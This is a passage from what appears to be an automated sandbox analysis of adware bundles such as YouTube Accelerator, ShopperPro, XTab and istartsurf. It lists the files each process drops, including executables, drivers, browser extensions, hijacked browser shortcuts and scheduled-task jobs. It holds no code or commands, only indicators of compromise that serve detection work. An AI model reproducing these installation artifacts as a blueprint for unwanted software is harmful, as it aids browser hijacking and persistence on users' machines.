C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKCF80.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFD59C.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD58B.tmp (93076 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCCD5C.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJCD7C.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)

The process ins_yta.exe:3444 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBCD0E.tmp (144 bytes)

The process QQBrowser.exe:3592 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\474.db (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\wpm_v20.0.0.1953_0302.exe (988 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\XTab_Setup2121.exe (148 bytes)

The process QQBrowser.exe:3476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2BE0.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C20.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C10.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C31.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\quick_start.js (784 bytes)

The process testlsp.exe:1888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1888_testlsp.log (118983 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1888_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1888_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1888.log (1345 bytes)

The process powershell.exe:3320 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BFNHHCP749ZCWQDAVZ19.temp (196 bytes)

The process powershell.exe:3284 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CKRVCQXB6YD0RBY6FE5.temp (196 bytes)

The process powershell.exe:3404 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J8T2GZPGJ1291FQNXATJ.temp (196 bytes)

The process setup.exe:3836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn760.tmp (358502 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsExec.dll (14 bytes)

The process HPNotify.exe:1524 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1480 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process Wrgdrartol.exe:3264 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\vopyuuu.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5.job (74 bytes)
%Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\436036 (96303 bytes)
%Program Files% (x86)\App Lid\utils.exe (77250 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp (4 bytes)
%Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\kgqstmuf.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.dll (48241 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\dwlqs.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\fcebyp.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\jjfxkflre.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\poxyqyas.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\137781 (4939 bytes)
%Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee.xpi (2321 bytes)
